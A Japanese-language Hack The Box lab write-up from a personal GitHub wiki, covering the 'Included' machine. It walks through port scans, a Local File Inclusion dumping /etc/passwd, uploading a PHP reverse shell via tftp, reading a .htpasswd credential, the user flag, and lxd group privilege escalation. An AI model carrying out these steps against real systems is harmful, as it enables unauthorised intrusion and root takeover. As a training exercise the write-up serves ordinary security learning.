HTB_included - meruneru/tech_memo GitHub Wiki
イントロのマシン
URLを介してサーバ上のファイルをブラウザ上に表示できてしまう脆弱性 Local File Inclusion(LFI)で/etc/passwordを表示した。 tftpでPHPリバースシェルを置いた。mikeアカウントのログインパスワードが/var/www/html/.htpasswd にあった。 権限昇格にはlxdを介して行った。
#ポート80 は #httpd
lqq(kali? kali)-[~/htb/included]
mq$ nmap -sV -sC -Pn 10.129.95.185
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-20 21:54 EST
Nmap scan report for 10.129.95.185
Host is up (0.18s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.129.95.185/?file=home.php
namp -sU <IP>でUDPのサービスを探すことができるみたいだが、
うまく引っかからず。
#ポート69 #tftp が見つかるはずだった。
c─$ sudo nmap -sU 10.129.39.115
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-21 01:26 EST
Nmap scan report for 10.129.39.115
Host is up (0.00063s latency).
All 1000 scanned ports on 10.129.39.115 are open|filtered
Nmap done: 1 IP address (1 host up) scanned in 5.19 seconds
Webページにアクセスしてみると、
下記URLになった。
file=という見慣れないオプションが見えるが、
これはPHPに渡す値のようで、ファイル名が指定されている。
http://10.129.95.185/?file=home.php#
試しにpasswdを開いてみると、 ユーザー一覧が見えた。
このような脆弱性を Local File Inclusion(LFI)と呼ぶらしい。
http://10.129.95.185/?file=/etc/passwd#
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false mike:x:1000:1000:mike:/home/mike:/bin/bash tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin
サーバ側はPHPを使っているようだ。 #PHP の #Reverseshell を使うと良さそう。
#PHP の #Reverseshell は
/usr/share/webshells/php/php-reverse-shell.phpにあるファイルを使う。
上記ファイルのIP/portを自身のIPと適当なポートにして #tftp でアップロードする。
┌──(kali㉿kali)-[~/htb/included]
└─$ tftp 10.129.39.115
tftp> put php-reverse-shell.php
Attacker側でncを使ってリッスンしておいて、下記URLにアクセスして、
リバースシェルを取れた。
http://10.129.95.185/?file=/var/lib/tftpboot/php-reverse-shell.php
まずは、ターミナルを使いやすいようにする。
$ python3 -c'import pty;pty.spawn("/bin/bash")'
現在のユーザーはwww-dataだった。
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
httpdで公開している/var/wwwを見てみると、.htpasswdがあった。
www-data@included:/$ cd /var/www/
cd /var/www/
www-data@included:/var/www$ ls
ls
html
www-data@included:/var/www$ cd html
ls
cd html
www-data@included:/var/www/html$ ls
default.css fonts fonts.css home.php images index.php license.txt
www-data@included:/var/www/html$ ls -a
ls -a
. .htaccess default.css fonts.css images license.txt
.. .htpasswd fonts home.php index.php
www-data@included:/var/www/html$ cat .htpasswd
cat .htpasswd
mike:Sheffield19
mikeとしてログインを試してみると、入れた。 ユーザーフラグをGetした。
www-data@included:/var/www/html$ su -l mike
su -l mike
Password: Sheffield19
mike@included:~$
mike@included:~$ cat user.txt
cat user.txt
a56ef91d70cfbf2cdb8f454c006935a1
mikeが所属するグループを見ると、lxdというモノがあった。
mike@included:~$ id
id
uid=1000(mike) gid=1000(mike) groups=1000(mike),108(lxd)
#lxd の公式ページ。 lxdはKVMのような仮想化技術らしい。
lxd exploitなどを調べると、権限昇格の話が出てくる。 https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation
まずはattacker側でイメージを作る。
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
git clone https://github.com/lxc/distrobuilder
cd lxc/distrobuilder
make
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
attacker側にhttpサーバをたてて、vicctim側にダウンロードさせる。
python3 -m http.server 8000
あとは、mikeでログインしたターミナルで、 wgetして https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation のとおりに実行するだけ。